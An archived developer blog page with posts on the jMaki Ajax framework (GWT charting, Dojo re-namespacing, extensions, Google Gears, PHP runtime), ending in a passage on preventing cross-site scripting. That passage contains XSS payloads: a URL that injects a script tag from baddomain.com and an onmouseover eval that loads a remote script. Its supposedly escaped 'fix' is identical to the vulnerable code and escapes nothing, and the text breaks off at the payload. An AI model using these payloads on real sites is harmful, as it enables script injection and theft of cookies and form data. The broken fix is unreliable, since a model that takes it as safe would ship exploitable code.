The Source for Java Technology Collaboration
User: Password:



Greg Murray's Blog

Community: Java Enterprise Archives


jMaki and GWT : Kissing Cousins

Posted by gmurray71 on December 21, 2007 at 07:41 PM | Permalink | Comments (2)

Sun has been providing GWT support with the GWT For Netbeans plugin for some time now. The plugin allows you to very easily create GWT applications that can run on Tomcat and Glassfish. The plugin allows you to easily integrate servlets and other Java EE components in an IDE environment.

With my Ajax dealings over the past few years I have been asked about jMaki and GWT integration. For some time I had thought that GWT was a competing technology but I have come to realize that while jMaki and GWT are truly cousins whose marriage is in this case a good thing.

When integrating jMaki with GWT jMaki provides a well defined model for interacting with JavaScript and GWT provides a model for interacting with Java. jMaki can open up the JavaScript universe to GWT in a well controlled manner.

As a start the jMaki team would like to introduce the GWT community to jMaki Charting. jMaki charting provides dynamic charting capabilities where charts can be manipulated on the client without round trips to the server.

Integrating jMaki charting with GWT has helped us develop a really good integration strategy for GWT and JavaScript for which we created an architecture document. The integration can be summarized by the graphic below.

With the GWT jMaki integration we are exposing the charting functionality including Axes creation and updates, DataSets, and Markers through a set of Java APIs. See the JavaDoc APIs here. All the resources needed for the component are provided in a single jar file that you simply place in your classpath and include the jmaki.charting.Widgets inherits statement in your gwt.xml file. jMaki charting may be downloaded from the jMaki Charting homepage. It supports both Hosted or Web mode.

We have also created a sample application to show how to use and modify a chart. You can see the application live here.

Charting is just the beginning. We are now working on providing access to the jMaki widgets and would love to have the community get involved. Would you like to join us?



jMaki and the Open Ajax 1.0 Hub

Posted by gmurray71 on October 01, 2007 at 03:14 PM | Permalink | Comments (0)

Now that jMaki 1.0 is out we have time to look at integration with our JavaScript functionality like the Open Ajax 1.0 Hub. The integration was done using a simple jMaki extension which takes the events from jMaki and republishes them on the hub. jMaki is also capable of registering libraries as they are being loaded.

To show the integration we have published a version of the application running with Dojo, Yahoo, and jMaki integrated along with the Open Ajax Hubs components on http://jmaki.com/oaa. You can find out more about the details on what we did in the description tab of the example.

How will you use the hub?



jMaki 1.0 is Live

Posted by gmurray71 on September 25, 2007 at 05:45 PM | Permalink | Comments (5)

Having experienced continuous development for over 2 years it is time to put a stake in the ground and call jMaki 1.0 ready for general use.

Included in the bundles:

  • The core jMaki framework.
  • Sample applications.
  • Ant task for creating applications and adding widgets and necessary dependencies to those applications.
  • All the scripts and widget libraries.

We provide bundles for both PHP and Java. The ant task for application creation allows you to create applications rapidly from the command line.

We also provide plugins for both Netbeans 5.x and 6.0 that will create jMaki applications with all the necessary resources in the correct places. Included support is:

  • The core jMaki Framework.
  • Templates to start out with.
  • Drag and drop widgets with templates.
  • Theming support.

How you experience jMaki is up to you. Find the bundles on the downloads page.

We have also started work on consolidating all the blogs, documents, and form posts on using jMaki into an online book. This is a work in progress and you can find the starting table of contents on our developer site.

I would like to thank everyone on the team and others not listed on the team page for their hard work in putting this release together. I like to encourage would encourage you to join the effort. jMaki is going places and we would love to have you along for the ride.



jMaki 1.0 is fast approaching

Posted by gmurray71 on September 14, 2007 at 02:41 PM | Permalink | Comments (2)

After over a year in community development we are preparing to release jMaki 1.0 on September 25.

jMaki has stabilized over the past few months especially with the data models which allow you to create some very sophisticated user interfaces. As proof we have created jmaki.com where we are hosting many of our samples and recent blog postings using jMaki.

How are you using jMaki and if not what are we missing?



Re-Namespacing Dojo

Posted by gmurray71 on August 10, 2007 at 04:36 PM | Permalink | Comments (2)

The motivation behind re-namespacing Dojo for jMaki was simple. We want to have both Dojo 0.4.3 and Dojo .9 running in the same web application and we also want to give our users the ability to use jMaki many years in the future. So I undertook the task of re-namespacing Dojo by hand and quickly found out that it was a involved task. Reason being there are 27350 instances of the word Dojo spread across 1013 files in the standard Dojo 0.4.3 Ajax release.To make things easier I have created a configurable ant task that will do the work.

Why ant? We figure it's the easiest to integrate with a build process and it's pretty easy to do string replacements that can be configured. You can see the RenamespaceTask.java here. You can find a compiled version of the jar file here.

We have provided a simple ant file that will compile the task and run it which you can get here.

Before using this task I strongly recommend you backup your files as this task will overwrite your existing files.

Here are the arguments I give to the task to re-namespace dojo and all of the occurrences in all js, css, and html files. This is the the most thorough and best option as it will re-namespace all dojo files and the dojo styles.

<target name="ns" description="Namespace Dojo Task" depends="jar">
  <taskdef name="renamespace" classname="org.jmaki.ant.ReNamespaceTask"
                 classpath="dist/ns-dojo.jar"/>
  <renamespace 
       ns="gojo"
       tokens="dojo" renameFile="dojo.js" >
    <fileset dir="/Users/gmurray/Desktop/dojo-0.4.3-ajax" />
  </renamespace>
</target>   

You simple need to provide a one or more filesets to files containing references to dojo. This simply replaces all the strings. Containing dojo.

You can do more advanced token sets that will not replace the styles and target only the dojo instances like the following.

<target name="ns" description="Namespace Dojo Task" depends="jar">
  <taskdef name="renamespace" classname="org.jmaki.ant.ReNamespaceTask"
                 classpath="dist/ns-dojo.jar"/>
  <renamespace
             ns="gojo"
             tokens="dojo.,{dojo},dojo=,dojo =,dojo:,(dojo,dojo[,/dojo,|dojo,&quot;dojo&quot;"
             renameFile="dojo.js"
             extensions="js,json,html">
    <fileset dir="/Users/gmurray/Desktop/dojo-0.4.3-ajax" />
  </renamespace>
</target> 

You may notice the renameFile attribute. This option will rename the dojo.js file to the same name as the namepace.

You need to rename the dojo.js to the same name as the namespace. If you leave the task defaults this will be automatically done. If you do not rename the dojo.js the dojo package loader will not look in the correct place for the dojo resources (I'm not clear why this was done but if the file names are not the same dojo will look up two directories for dojo resources). The re-namespace won't work if you don't rename.

You will also need to re-namespace your code that uses Dojo. You can add multiple filesets so this can be done in one sweep.

When choosing a name to re-namespace to you need a valid JavaScript identifier so you can not include "." or "-" in the name. For jMaki we chose "dj4d3" which is a bit cryptic but it is short and will not conflict with a future version of dojo or another library.

The beauty of re-namespacing is that you can now use two versions of Dojo in the same application and in the same page without conflicts. Both versions will share the same djConfig object which you may chose to also rename.

The ant task was tested with the Dojo .0.4.3 Ajax release. You can test it by simply downloading Dojo from the Dojo downloads page and run it against the release. Then check out the samples and tests.

Once again make sure to backup your work before running task. Let me know what what you think.



jMaki Actions

Posted by gmurray71 on July 29, 2007 at 12:01 PM | Permalink | Comments (0)

In Widgets talking to Widgets Carla describes how widgets from different toolkits can easily communicate. There is a more basic level of communication which you can do declaratively which we call jMaki Actions

jMaki Actions are a declarative way of associating widget behavior.

Consider a case where you have a Dojo Fisheye and you simply want it to select a tab or URL when an item is clicked. The Dojo Fisheye is in essence provides the same behavior as a menu. You may notice that the models for the Fisheye Model and the jMaki Menu Model are very similar. A Fisheye widget as a JSP tag would look as follows:

<a:widget name="dojo.fisheye"
             args="{labelEdge:'bottom', orientation:'vertical'}"
             value="[
             { iconSrc:'https://ajax.dev.java.net/images/blog_murray.jpg',
               label : 'Greg Tab',
               action : { topic : '/yahoo/tabbedview/select',
                          message : {targetId : 'tab1'}} },
             { iconSrc:'https://ajax.dev.java.net/images/chinnici.jpg',
               label : 'Roberto Tab',
               action : { topic : '/yahoo/tabbedview/select',
                          message : {targetId : 'tab2'}}
             },
             { iconSrc:'https://ajax.dev.java.net/images/JayashriVisvanathan.jpg',
               href : 'http://jmaki.com',
               label : 'test4'
             }
             ]"/>

With jMaki Actions you can associate an action to be published on a given Fisheye icon. The action property will publish a message that can be picked up by another widget in the page. Let's use a Yahoo Tabbed View which is by default mapped to the topic "/yahoo/tabbedview". The different action you can perform on a tabbedview are described in the Tabbed View Data Model. Here is the portion of the relevant code that is the action that occurs when item labeled 'Greg Tab' is clicked.

action : { topic : '/yahoo/tabbedview/select', message : {targetId : 'tab1'}}

The targetId refers to a tab with the id property used by a given tab. The message property is included as part of the payload of a message published to the topic used. Clicking on the item 'Greg Tab' will end up in the 'Greg Tab' being selected and the same for the 'Roberto Tab'.

<a:widget name="yahoo.tabbedview"
          value="{tabs:[
          {id : 'tab1', label : 'My Tab', content : 'Some Content'},
          {id : 'tab2', label : 'My Tab 2', content : 'Tab 2 Content'}
          ]
          }" />

The end result is using the default template looks as follows:

jMaki models uses general conventions for behaviors and properties you can easily swap widgets. For example you could easily use a Dojo Tabbed View or even swap the FishEye for a menu or tree widget.

jMaki actions are great for general interactions like this and makes it really easy to do basic things like this. More advanced interactions should still be done in glue code as described in Widgets talking to Widgets.

How will you use actions?



jMaki Revolver Widget

Posted by gmurray71 on June 24, 2007 at 10:44 PM | Permalink | Comments (6)

A few months ago I created the revolver as a weekend project to provide an alternative way of providing top level navigation on your web size. I thought I would share this with everyone as a jMaki widget.

How to use it with jMaki

In Netbeans

  1. Install the jMaki Netbeans plugin.
  2. Download the jMaki Revolver widget library.
  3. In Netbeans select Tools->Palette->Add jMaki Library from the menu and choose the jmaki-revolver-x.x.zip file you downloaded. A new palette named "jMaki Extras" will appear.
  4. From the jMaki Extras palette drag the widget into the page.
  5. Deploy the application.

In the page you will see the following:

<a:widget name="jmaki.revolver"
            value="[
                   {title : 'Amsterdam',
                              imgSrc : 'http://farm1.static.flickr.com/67/227194339_551e710acb_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594254916360/'
                              },
                   {title : 'Paris',
                              imgSrc : 'http://farm1.static.flickr.com/129/319228860_23770c66d3_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594414671044/'
                              },
                   {title : 'Seoul',
                              imgSrc : 'http://farm1.static.flickr.com/106/294268722_662da2ef5a_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594370026444/'
                              }
                   ]"/>

Use the jMaki customizer (context click->jMaki) to customize the revolver or modify the /resources/jmaki/revolver/component.css.

For Eclipse or Stand Alone Applications

  1. Install the jMaki Eclipse plugin.
  2. Download the jMaki Revolver widget library.
  3. Unzip th jmaki-revolver-x.x.zip file you downloaded and copy the contents of the resources of zip file into the resources directory of your web application..
  4. Add the widget to your page.
<a:widget name="jmaki.revolver"
            value="[
                   {title : 'Amsterdam',
                              imgSrc : 'http://farm1.static.flickr.com/67/227194339_551e710acb_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594254916360/'
                              },
                   {title : 'Paris',
                              imgSrc : 'http://farm1.static.flickr.com/129/319228860_23770c66d3_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594414671044/'
                              },
                   {title : 'Seoul',
                              imgSrc : 'http://farm1.static.flickr.com/106/294268722_662da2ef5a_m.jpg',
                              href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594370026444/'
                              }
                   ]"/>

Find out more about the customizable properties that may be passed in as the args attribute from the docs/index.html file inside the jMaki Revolver widget library.

Non jMaki Usage

You will need to provide the template text, CSS, and JavaScript.

  1. Download the jMaki Revolver widget library.
  2. Unzip th jmaki-revolver-x.x.zip file you downloaded and copy the contents of the jmaki/revolver directory to your web application.
  3. Add links to the script and css.
    <script type="text/javascript" src="component.js"></script>
    <link rel="stylesheet" type="text/css" href="component.css"></link>
    
  4. Add the template where you want the revolver to appear.
    <!-- Revolver Template --!>
    <div id="jmaki-revolver" class="revolver" >
     <div id="jmaki-revolver-content-pane" class="revolverContent"></div>
    </div>
    <div id="jmaki-revolver-title-pane" class="revolverTitle"></div>>
    
  5. Add the JavaScript initialization code.
    <script>
    window.onload = function() {
        var wargs = {uuid : 'jmaki-revolver'};
        wargs.value = [
                       {title : 'Amsterdam',
                                  imgSrc : 'http://farm1.static.flickr.com/67/227194339_551e710acb_m.jpg',
                                  href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594254916360/'
                                  },
                       {title : 'Paris',
                                  imgSrc : 'http://farm1.static.flickr.com/129/319228860_23770c66d3_m.jpg',
                                  href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594414671044/'
                                  },
                       {title : 'Seoul',
                                  imgSrc : 'http://farm1.static.flickr.com/106/294268722_662da2ef5a_m.jpg',
                                  href : 'http://www.flickr.com/photos/44399047@N00/sets/72157594370026444/'
                                  }
                       ];
       var revolver = new jmaki.widgets.jmaki.revolver.Widget(wargs);
    }
    </script>
    

Find out more about the customizable properties from the docs/index.html file inside the jMaki Revolver widget library.

This example shows the benefits of using a framework like jMaki to reduce the need of the steps you see with the non-jMaki usage.

Enjoy the widget. If you have any requests, comments or issues, please feel free to ask them here.



jMaki Extension for Google Gears

Posted by gmurray71 on June 11, 2007 at 04:33 PM | Permalink | Comments (0)

With little effort I was able to get up and running with Google Gears very easily and integrate it with other jMaki components as an extension. Here is what I did to use the local Google database.

Using the latest jMaki .9.3 I added the following to my config.json file:

{
  'config': {
    'version': '.9',
    'glue' : {
         'includes': ['/glue.js', '/resources/system-glue.js']
       },
    'extensions': [{url : '/*', 'name' : 'google.gears'}]
    }
}

The extension is loaded for all urls and is named google.gears. Now for the extension that will interact with Google Gears. No other JavaScript code is needed.

jmaki.namespace("jmaki.extensions.google.gears");

jmaki.extensions.google.gears.Extension = function(args) {

  var self = this;
  var topic = "/google/gears";
  var db = null;
  var factory = null;
  
  this.postLoad = function() {
     self.init();
     jmaki.subscribe(topic + "/execute", self.execute);
  }

  this.init = function() {
      jmaki.log("Google Gears jMaki Extension intialized");

      // Firefox
      if (typeof GearsFactory != 'undefined') {
          factory = new GearsFactory();
      } else {
          // IE
          try {
              factory = new ActiveXObject('Gears.Factory');
          } catch (e) {
              // Safari
              if (navigator.mimeTypes["application/x-googlegears"]) {
                  factory = document.createElement("object");
                  factory.style.display = "none";
                  factory.width = 0;
                  factory.height = 0;
                  factory.type = "application/x-googlegears";
                  document.documentElement.appendChild(factory);
              }
          }
      }
      // Now set up the objects, being careful not to overwrite anything.
      if (!window.google) {
          window.google = {};
      }
      
      if (!google.gears) {
          google.gears = {factory: factory};
      }      
  }
  
  // Open this page's local database.
  function initDB() {
      if (!window.google || !google.gears) {
          jmaki.log("Google Gears not found.");
          return;
      }
      
      try {
          db = google.gears.factory.create('beta.database', '1.0');
      } catch (ex) {
          jmaki.log('Could not create database: ' + ex.message);
      }
      
      if (db) {
          db.open('beta-database');
          db.execute('create table if not exists jmaki' +
          ' (obj varchar(2048), Timestamp int)');  
      }
  }
  
  this.execute = function(args) {
    this.query = args.query;
    var _callback = args.callback;
    this.qargs = args.args;
    if (!db) initDB();
    if (!db) {
      jmaki.log("Google Gears Extension: Unable to find database");
      return;
    }
   var rs =  db.execute(query, qargs);
    // execture callback if it's there
    if (typeof _callback != 'undefined') _callback.call(this,rs);
  }

}

This file will need to be in a file named extension.js in the /resources/google/gears directory of your web application. Now that the extension has been enabled all you need is to publish to the topic /google/gears/execute with the data base calls you want to make from your glue code. Here is an example of mapping the save button for the Dojo Editor and Dojo Inline Edit components which publish to the topic "*onSave".

jmaki.subscribe("*onSave", function(args) {
    // empty the table then save it
    jmaki.publish("/google/gears/execute",
    { query : 'delete from jmaki',
     callback : function() {
       jmaki.log("Removing Previous Values");
       jmaki.publish("/google/gears/execute",
          { query : 'insert into jmaki values (?, ?)',
             args : [args.value, new Date()],
         callback : function() {
             jmaki.log("Saved " + args.value);
         }
        });
       }
    });
});

I used callbacks much like the XMLHttpRequest object to keep the design simple and make it easy to associate post processing code with a given event.

To display the data you need to load data from Google Gears as well. Here is the glue listener to load some text from the Google Gears data base and assign it to a JavaScript variable.

jmaki.subscribe("/jmaki/runtime/extensionsLoaded", function() {

  jmaki.publish("/google/gears/execute", 
    { query : 'select * from jmaki order by Timestamp desc',
     callback : function(_rs) {
         if (typeof _rs != "undefined" &&
             typeof _rs.isValidRow != "undefined" &&
             _rs.isValidRow()) {
             // set data on the global window object for later access
             if (typeof _rs.field != "undefined") window.editorData = _rs.field(0);
             else window.editorData = "";
             jmaki.log("Loaded Editor Data: " + editorData);
         } else {
             window.editorData = "";
             jmaki.log("No data available");
         }
         jmaki.log('done');
     }
    });
});

This code is executed after the extensions has loaded and will do a database using a sql statement. The returned value is assigned to the global variable window.editorData which you can then assign to your widget. For a Editor you can assign a JavaScript variable as the value using a client side value binding which starts with an '@{' and contains the package and variable name and ends with an '}'. For this window.editorData the client side value binding is @{window.editorData}. With a JSP / JSF widget the tag in a JSP page would look like the following:

<a:widget name="dojo.editor" value="@{window.editorData}" />

As we can see it's pretty easy to integrate Google Gears in your jMaki application. There are many other areas to explore including easier JSON serialization using gears. This is starting to like JDO all over again but in this case "J" is for JavaScript. Rest assured we will try to make this easier in jMaki.

What would you like to do with Google Gears?



jMaki Extensions

Posted by gmurray71 on June 07, 2007 at 03:37 PM | Permalink | Comments (3)

Just when we thought it was safe to call jMaki feature complete we got a lot of feedback for various features that could all be handled by a single extension feature.

What are extensions in jMaki?

Extensions are behavior / functionality that are shared across widgets. Extensions are loaded after the jmaki.js and before glue (your application logic). Examples may include enhanced debugging support, sound, or controllers that are specific to an individual application.

What does an extension look like?

jmaki.namespace("jmaki.extensions.jmaki.ext.bar");

jmaki.extensions.jmaki.ext.bar.Extension = function(args) {
  jmaki.debug = true;
  jmaki.log("jMaki bar Extension intialized");
  jmaki.log("jMaki bar : extensionDir=" + args.extensionDir);
 }

Extensions are namespaced JavaScript objects that are mapped in the config.json file like the following:

{
  'config': {
    'version': '.9.3',
    'extensions' : [
          'jmaki.ext.foo' 
         ]
    }    
}

Extensions are like widgets in that the application will look under /resources/jmaki/ext/bar for a file called extension.js. The contents are like the file above. The extensions will be located in the resources directory and located using the extension name. The extension 'jmaki.ext.foo' would be located in the following directory:

resources
    |
    +jmaki
       |
       +ext
          |
          +foo
             |
             +extension.js

Extensions can also be loaded on a per URL basis or based on a wildcard like you may see in the code below:

{
  'config': {
    'version': '.9.3',
    'extensions' : [
          { url : '/basicArgs.jsp',  name : 'jmaki.ext.foo' },
          { url : '*.jsp', name : 'jmaki.ext.bar'},
          { url : '/relativedir/*', name : 'jmaki.ext.foo', args : { 'topic' : 'footopic'}}
         ]
    }    
}

Notice the url property can be a URL or contain a '*'. The mappings can also provide an args property containing default data that is accessible in the extension (extension.js).

We also plan on adding a page level tag and or function for adding functions in the next release. It is our hope to keep the core of jMaki small and nimble. At the same time we want to future proof jMaki.Extensions are available in the PHP, Phobos, and Java versions of jMaki and may be found at the jMaki Downloads page.

Here are some extensions we are thinking about:

  • Back/Forward button tracking
  • Sound
  • Bookmarking
  • Google Gears Integration
  • Cross Widget Drag and Drop
  • JavaScript controllers

What kind of extensions would you like to see for jMaki?



Creating and Using API Keys with Java Based Ajax Services

Posted by gmurray71 on June 04, 2007 at 01:21 PM | Permalink | Comments (6)

In Restricting Access to your Ajax Services we discussed the options that you may use to protect your services which included using an API key. Creating and Using API Keys for Java Based Ajax Services provides both the client and server code for using API keys on your Java based services. Included in the document are a discussion on the motivations and limitations of using API keys with servlets using the built in security APIs of Java.

Do you use API keys with your services? If so what techniques are you using?



jMaki at JavaOne 2007

Posted by gmurray71 on April 26, 2007 at 05:47 PM | Permalink | Comments (2)

The jMaki team has been hard at work re-working jMaki into the .9.x series which now supports all of the intended 1.0 features. At JavaOne we plan to offer a release candidate. If you don't want to wait you can try out the samples from the download page. We only plan on fixing issues so you can use what is there today.

JavaOne Sessions and BOFs

  • TS-9516 Using jMaki in a Visual Development Environment - Tuesday (05/08/2007) 4:40 PM - Location : Gateway 104< - Craig McClanhan, Ludovic Champenois (a.k.a Ludo), and myself will present on the basics on jMaki and how we integrate with Netbeans and the Visual Web Pack. This is the first day and should be a good talk.
  • BOF-6012 - JavaScript Best Practices for Java Developers - Tuesday (05/08/2007) 7:00 PM - Location : Esplanade 307-310 - Eugene Lazutkin, Sang Shin, and myself will talk about JavaScript best practices. While not jMaki specific this should be a really good face to face discussion on how to write good JavaScript.
  • BOF-6876- Ajax and Web 2.0 Performance Roundtable - Tuesday (05/08/2007) 8:00 PM - Location : Esplanade 307-310 - Akara Sucharitakul, Eugene Lazutkin, Binu John, and myself will roundtable style discussion (Q&A) about performance issues you may face with Web 2.0 applications.
  • TS-6375- jMaki : Web 2.0 App Building Made Easy - Wednesday (05/09/2007) 10:55 AM - Location : Esplanade 307-310 - Carla Mott (project co-lead) and myself will present on core jMaki. This talk will give the full picture of the project and the it's potential.
  • TS-6676 BluePrints for Mashups : Strategies , Tips and Code for Designing and Building - (05/10/2007) 10:55 AM - Location : Esplanade 307-310 - Sean Brydon, Mark Basler, and myself will talk about mashups. I plan to leverage much of my experience from creating the jMaki XmlHttpProxy in the context of mashups. If you are interested in mashups and want to look beyond the FUD of web 2.0 mashups this would be a great talk to attend.
  • TS-4948 Unleashing the Power of JAX-WS RI: Spring, Stateful Web Services, SMTP, and More - (05/10/2007) 2:50 PM - Kohsuke Kawaguchi and Jitendra Kotamraju will talk about building using JAX-WS and also show how it may be used to provide JSON data to jMaki widgets.
  • TS-6807 Real-World Comet-Based Applications" - Jean-François Arcand, Alex Russell, and Greg Wilkins will talk about Comet and demonstrate a jMaki application running Comet.

Hands On Lab

Community One

  • S288058 Building Ajax-Enabled JavaServer Faces Components and Web Applications With jMaki, Dynamic Faces, and the NetBeans IDE - (05/07/2007) 1:30 PM - Location : Moscone Center - Craig McClanhan, Ludovic Champenois, Roberto Chinichi, and myself will talk about scripting languages and how we support so many with jMaki. This is a free event and I encourage anyone in the bay area to attend.

Carla and I also plan to demo jMaki in the Glassfish both at Community One day on 05/07/2007. We will be showing off some samples and answering questions during the event.

If you are going to be around for the event I encourage you to attend one of our talks or if not let me know and I'll try to make myself or someone on the team available. Look for people wearing jMaki t-shirts or hats in that we only give out shirts to those that have played some role in making jMaki. I'd love to give you a shirt so get involved!



Multiple Browser Testing of Ajax Apps Made Easy

Posted by gmurray71 on February 04, 2007 at 11:19 AM | Permalink | Comments (0)

Testing multiple browsers on different platforms in the past was time consuming and took a bit of work. Even with virtualization in use you had no way to do side by side comparisons of what different browsers would render. That was until Parallels introduced an upcoming feature called Coherence.

I installed Windows XP and Windows Vista and am running them in Coherence mode which allows me to do side by side comparisons of IE 6 in XP, IE 7 in Vista, Safari, and Firefox 2.0 all in one place.

whole_enchalada

Larger View

This is a developer and testers dream. Had I not done this myself I would swear the image was doctored. I have had no issues with the release candidates of Coherence and the only limiting factors are the amount of memory your have (I have 4 GB) and your screen size. This is a small price to pay for the benefits.



The Zen of jMaki

Posted by gmurray71 on December 12, 2006 at 03:56 PM | Permalink | Comments (4)

This presentation was created and presented today at Javapolis. This document also contains many basic examples and some tidbits of history, mindset and motivation for jMaki. If you want to learn more about the details of jMaki from a single document or spread the word of jMaki to your peers feel free to use the slides.


Download "Java and Web 2.0 using jMaki"(PDF) (Open Document Format) (Power Point)

For further information on jMaki visit the jMaki Project Home.



jMaki Beta 1.0 is Out!

Posted by gmurray71 on December 06, 2006 at 04:15 PM | Permalink | Comments (7)

jMaki helps you create JavaScript centric applications by providing all the pieces you need to tie together your applications. jMaki provides also provides a large set of sample JavaScript wrappers for common services and toolkits including Dojo, Flickr, Google, Mochikit, Spry, and Yahoo. Here is what jMaki provides:

  • JavaScript Runtime and Services - The and services provides the bare-bones light-weight services needed to initialize JavaScript widgets and communicate including a simple publish/subscribe mechanism.
  • jMaki Styles CSS layouts and templates to build that act as frameworks for your web pages.
  • jMaki Widget Model - A simple widget model based on HTML templates, CSS, and JavaScript. This can be used to wrap widgets from other toolkits or create your own re-usable widgets.
  • jMaki Glue - Listens for publish/subscribe events and calls shred JavaScript handlers based on the event. The code is not bound to any individual widget. jMaki Glue provides timers that can publish events or call JavaScript at a set interval.
  • Server Runtime The server runtime makes sure all CSS and JavaScript dependencies are rendered only once in a given page. The server runtime renders the templates and communicates data between the runtime and the JavaScript front end. We have server runtimes for Java(JSF/JSP),JavaScript, and PHP.
  • jMaki Injector - A JavaScript based client that allows you to bring in content from a separate URL (same domain only) and load any JavaScript/CSS from that page into the current page much like an iframe without the usability issues.

Find out more about jMaki on the jMaki home page or visit the downloads page. We recommend you use the jMaki Netbeans plugin whcih makes jMaki application development very simple. Using the plugin you can create new pages using the jMaki templates, drag and drop pre-configured jMaki widgets into a page, and configure the widgets using property editors.

Let us know what you think.



jMaki supports PHP!

Posted by gmurray71 on November 29, 2006 at 04:10 AM | Permalink | Comments (12)

I am proud to announce that jMaki now has a server runtime that fully supports jMaki for PHP 5. This is in addition to JSP, JSF, and Phobos.

What does this mean for Java developers?

You now have the choice to script the front ends of your web applications on standard PHP. Your back end services can remain in Java which is well equipped for handling your transaction processing, messaging, and web services. If at some point you need Java for your services we can provide that too.

What does this mean for PHP developers?

You now have a simple way to build Ajax style applications using client centric JavaScript. jMaki is a framework that provides CSS layouts, widgets, and the glue to tie everything together. Out of the box you can use Dojo, Yahoo UI, Scriptaculous, and many other libraries together with a simple PHP call. To use jMaki you simply unzip a file into your PHP 5 web directory.

What does jMaki PHP code look like?

<?php require_once 'Jmaki.php'; ?>
<?php addWidget('dojo.tree', 'tree.json');
?>

The example above creates a Dojo tree which consumes a tree.json file that defines the tree data.

A more advanced example:

<?php require_once 'Jmaki.php'; ?>
<?php addWidget('dojo.table', null, null,
		 "{ columns: { title : 'Title', author:'Author', isbn: 'ISBN #', description:'Description'},
	rows:[
		 ['JavaScript 101', 'Lu Sckrepter','4412', 'Some long description'],
 		 ['Ajax with Java', 'Jean Bean','4413', 'Some long description']
 		]}");
?>

Here is a screen shot just in case you do believe it works.

jMaki Glue Example in PHP

Now lets look at a more advanced example using two widgets that communicate with each other by publishing events that are intercepted by some glue JavaScript code which you can define the action to take.First lets look at the PHP to define the Yahoo Map and Geocoder.

<?php require_once 'Jmaki.php'; ?>
<?php
addWidget('yahoo.map', null, "{centerLat:37.39316, centerLon:-121.947333700, height:300}");
?>
<?php addWidget('yahoo.geocoder', '../XmlhttpProxy.php');
?>

The Yahoo Geocoder publishes a event which is mapped in the jMaki config.json file to call the function jmaki.listener.geocoderlistener. The code from the config.json is as follows:

 "glue" : {
    "includes": ["glue.js"],
    "listeners": [
       {"topic" : "/yahoo/geocoder",
        "action": "call",
        "target": {
                 "object": "jmaki.listeners",
                 "functionName": "geocoderListener"
            }
       }
   ]
  }
The following Glue JavaScript is provided by default in jMaki so you don't have to tie the widgets together yourself.

  jmaki.geocoderListener = function(coordinates) {
      var keys = jmaki.attributes.keys();
      for (var l = 0; l < keys.length; l++) {
          if (typeof jmaki.YahooMapWrapper != 'undefined' &&
               jmaki.attributes.get(keys[l]).constructor == jmaki.YahooMapWrapper ) {
              var _map = jmaki.attributes.get(keys[l]).map;
              var centerPoint =
              	 new YGeoPoint(coordinates[0].latitude,coordinates[0].longitude);
              var marker = new YMarker(centerPoint);
              var txt = '<div style="width:160px;height:50px;"><b>' +
                 coordinates[0].address + ' ' + coordinates[0].city + ' ' +
                 coordinates[0].state + '</b&ht;</div>';
              marker.addAutoExpand(txt);
              _map.addOverlay(marker);
              _map.drawZoomAndCenter(centerPoint);
          }  
      }
  }

The graphic belo shows the resulting widgets.

Where to go next:

Download the jMaki for PHP from the jMaki Downloads Page.

Provide feedback at the jMaki Forumns.

Learn more aboutjMaki for PHP at the jMaki Home Page.

Learn more about jMaki Glue.

What else would you like to see jMaki and jMaki PHP do?



Preventing Cross Site Scripting Attacks

Posted by gmurray71 on September 27, 2006 at 12:01 PM | Permalink | Comments (9)

Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

  • Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
  • Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
  • Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
  • Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
  • Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

